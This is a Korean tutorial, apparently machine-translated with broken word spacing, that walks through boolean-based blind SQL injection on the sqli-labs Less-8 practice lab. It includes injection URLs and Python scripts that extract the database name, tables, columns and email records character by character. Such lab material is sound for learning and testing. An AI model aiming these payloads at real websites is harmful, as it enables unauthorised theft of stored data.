SQL 주입 의 불 기반 블라인드 상세 설명

불 에 기초 한 맹주
웹 페이지 는 True 와 False 로 만 돌아 갑 니 다.그러면 불 맹 주 는 SQL 을 주입 한 후 페이지 에 따라 되 돌아 오 는 True 나 False 로 데이터베이스 에 있 는 관련 정 보 를 얻 는 것 이다.
이번 에는 불 주입 으로,손 주 는 완전 하 게 탈 바 지 를 할 수 없 었 다.따라서 이 절 에 서 는 SQL 주입 을 도와 데 이 터 를 얻 을 수 있 도록 많은 코드 를 작성 해 야 합 니 다.그래서 이 장 에 파 이 썬 코드 가 많이 들 어 있 을 거 예요.
이번 의 예 는 Less-8 이다.
아래 문장의 주입 테스트 를 통 해

http://localhost/sqlilabs/Less-8/?id=2'
http://localhost/sqlilabs/Less-8/?id=2"
http://localhost/sqlilabs/Less-8/?id=2\
테스트 를 진행 할 때 id=2' 일 때 만 페이지 에 내용 을 표시 할 수 없습니다.입력 한 문 구 는 요구 에 부합 하면 페이지 에 내용 이 표시 되 지만 표 시 된 내용 은 모두 같 습 니 다.이러한 상황 에서 페이지 의 출력 은 우리 에 게 전혀 쓸모 가 없 으 며,SQL 실행 오류 정 보 를 포함 하여 페이지 에 표시 되 지 않 습 니 다.이 경우 SQL 문 구 를 실행 하고 페이지 에 SQL 이 실 행 된 후에 돌아 오 는 정 보 를 표시 하 는 것 은 불가능 합 니 다.이런 상황 에서 전형 적 인 SQL 블라인드 다.
우 리 는 페이지 에 내용 을 표시 할 지 여 부 를 통 해 우리 의 SQL 문장 이 정확 한 지 판단 하고 데이터베이스 의 정 보 를 추측 합 니 다.
위의 주입 테스트 를 통 해 백 엔 드 의 SQL 주입 문 구 는 다음 과 같다 는 것 을 알 수 있 습 니 다.

select field from table where id='userinput'
id 매개 변 수 는 따옴표 에 포 함 됩 니 다.다른 정 보 는 우리 가 얻 을 수 없다.
데이터베이스 이름 가 져 오기
데이터베이스 의 이름 을 얻 기 전에 먼저 데이터베이스 의 길 이 를 얻어 야 한다.

http://localhost/sqlilabs/Less-8/?id=2' and length(database())>1 %23
http://localhost/sqlilabs/Less-8/?id=2' and length(database())>2 %23
    
.....
값 이 8 인 것 을 발 견 했 을 때 페이지 가 표시 되 지 않 았 습 니 다.그렇다면 database() 의 길 이 는 8 이라는 뜻 이다.datbase() 의 길 이 를 얻 은 뒤 database() 의 이름 을 얻 었 다.
이 럴 때 는 완전히 손 에 넣 을 수 없습니다.Python 코드 를 만들어 야 합 니 다.그 중에서 가장 중요 한 것 은 대량의 주입 테스트 를 통 해 프로그램 이 정확 하고 실 수 를 하 는 시 기 를 판단 한 다음 에 현재 의 값 이 정확 한 값 이 라 고 단정 하 는 것 이다.
다음은 파 이 썬 을 사용 하여 불 맹 주 를 통 해 데 이 터 를 얻 는 간단 한 코드 입 니 다.

def get_db_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr(database(),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,9):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #       706 722
   if length>706:
    result += char
    break
 print(result)
마지막 결 과 를 얻 은 것 은 security 이 고 정확 하 다.
데이터베이스 에 있 는 표 정 보 를 가 져 옵 니 다.
사실 모든 SQL 주입 절 차 는 유사 하 다.먼저 데이터베이스 의 이름(이 단 계 는 필수 가 아 닙 니 다)을 얻 은 다음 현재 데이터베이스 의 표 이름 을 얻 은 다음 표 의 필드 를 얻 고 마지막 으로 바 지 를 벗 습 니 다.이 절 차 는 전장 에서 이미 설명 되 었 다.
우선 데이터베이스 테이블 정 보 를 얻 기 위 한 간단 한 SQL 맹 주 를 보십시오.

http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>60 %23
사실은 예전 의 select table_name from information_schema.tables where table_schema=database() limit 0,1 이라는 문 구 를 사용 하여 표 의 정 보 를 얻 었 지만 지금 은 페이지 에 표시 되 지 않 고 블라인드 를 통 해 한 글자 한 글자 의 표 이름 을 얻 을 수 있 습 니 다.
다음 에 도 Python 코드 를 만들어 서 표 이름 을 가 져 왔 습 니 다.코드 도 위의 것 과 유사 하 다.주로 수 정 된 URL 입 니 다.Python 에서 표 이름 을 가 져 오기 전에 표 이름 의 길 이 를 알 아야 합 니 다.
아래 의 문장 을 사용 하면 얻 을 수 있다.
테이블 이름 의 SQL 주입 을 가 져 오 는 방법 은 다음 과 같 습 니 다.

http://localhost/sqlilabs/Less-8/?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
이런 방식 을 통 해 우 리 는 데이터베이스 테이블 의 첫 번 째 테이블 이름 의 길이 가 6 이라는 것 을 알 수 있다.표 이름 의 길 이 를 알 게 되면 다음 파 이 썬 스 크 립 트 는 쓰기 쉽다.

def get_table_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,7):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #       706 722
   if length>706:
    result += char
    break
 print(result)
마지막 으로 첫 번 째 표 명 은 이메일 이 었 다.다른 표 명 을 얻 으 려 면 코드 limit 0,1limit 1,1 또는 다른 것 으로 수정 하면 된다.
표 이름 의 열 정 보 를 얻다
열 이름 을 얻 기 전에 표 의 필드 길 이 를 알 아야 합 니 다.예 를 들 어 이메일 표 의 길 이 를 알 고 싶 으 면 다음 과 같은 문 구 를 사용 하여 얻 을 수 있 습 니 다.

http://localhost/sqlilabs/Less-8/?id=2' and (select length(column_name) from information_schema.columns where table_name=0x656d61696c73 limit 0,1)>【num】 %23
num 의 값 을 수정 하면 됩 니 다.0 부터 프로그램 이 잘못 될 때 까지 계속 합 니 다.이런 방법 을 통 해 우 리 는 이메일 에 두 개의 필드 가 존재 하고 필드 의 길 이 는 각각 2,8 이라는 것 을 얻 었 다.
필드 길 이 를 얻 은 후,다음은 불 주입 을 통 해 필드 이름 을 얻 을 수 있 습 니 다.
코드 를 만 들 기 전에 필드 이름 을 가 져 오 는 sql 문 구 를 어떻게 쓰 는 지 보 세 요.다음 코드 는 필드 이름 을 가 져 오 는 코드 입 니 다.

http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),1,1))>60 %23
우리 가 작성 한 Python 코드 도 위의 이 코드 를 이용 하여 필드 이름 을 가 져 옵 니 다.

def get_column_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,3):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #       706 722
   if length>706:
    result += char
    break
 print(result)
위의 이 코드 를 통 해 우 리 는 이메일 표 에 존재 하 는 필드 이름 을 얻 을 수 있 습 니 다.각각 idemail_id 입 니 다.
바 지 를 벗다
필드 이름 을 얻 은 후 가장 중요 한 단 계 는 탈 바 지 를 하 는 것 이다.
바 지 를 벗 기 전에 우 리 는 먼저 이메일 표 에 몇 개의 기록 이 있 는 지 판단 한다.
사용 한 문장 은 다음 과 같다.

http://localhost/sqlilabs/Less-8/?id=2' and (select count(*) from emails)>0 %23
수정>0 중의 0 이 1,2,3 순 으로 나 온 후에 우 리 는 이메일 표 에 모두 8 개의 기록 이 존재 한 다 는 것 을 얻 었 다.
그럼 다음은 탈 바 지 를 진행 하 겠 습 니 다.
바 지 를 벗 기 전에 우 리 는 먼저 현재 기록 의 길 이 를 알 아야 한다.이 SQL 문장 도 쓰기 쉽다.

http://localhost/sqlilabs/Less-8/?id=2' and (select length(email_id) from emails limit 0,1)>15 %23
마지막 으로 우 리 는 이메일 표 의 첫 번 째 기록 중의 email_id 의 길이 가 16 이라는 것 을 알 고 있다.
길 이 를 알 게 되면 코드 가 잘 쓰 입 니 다.

def get_data():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"
 chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,17):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #       706 722
   if length>706:
    result += char
    break
 print(result)
위의 이 코드 를 통 해 내용 을 얻 었 습 니 다[email protected]다른 내용 도 이 를 통 해 데 이 터 를 얻 었 다.여 기 는 시연 을 하지 않 겠 습 니 다.
총결산
사실 불 맹 주 와 시간 에 기반 한 맹 주 는 이 글 처럼 많은 코드 를 작성 해 야 한다.간단 한 SQL 주입 에서 SQL 주입 코드 한 마디 로 해결 할 수 있 는 문 제 는 Python 코드 를 만들어 대량의 주입 테스트 를 해 야 내용 을 얻 을 수 있 습 니 다.사실 이전에 나 도 Python 으로 SQL 주입 코드 를 작성 하여 전체 불 맹 주 주입 과정 을 완성 하 는 경 우 는 드 물 었 다.이 장의 작성 을 통 해 Python 코드 를 사용 하여 불 맹 주 를 완전 하 게 진행 하 는 과정 을 익 혔 고 많은 것 을 배 웠 습 니 다.이상 이 이 글 의 전부 입 니 다.여러분 께 도움 이 되 셨 으 면 합 니 다.

좋은 웹페이지 즐겨찾기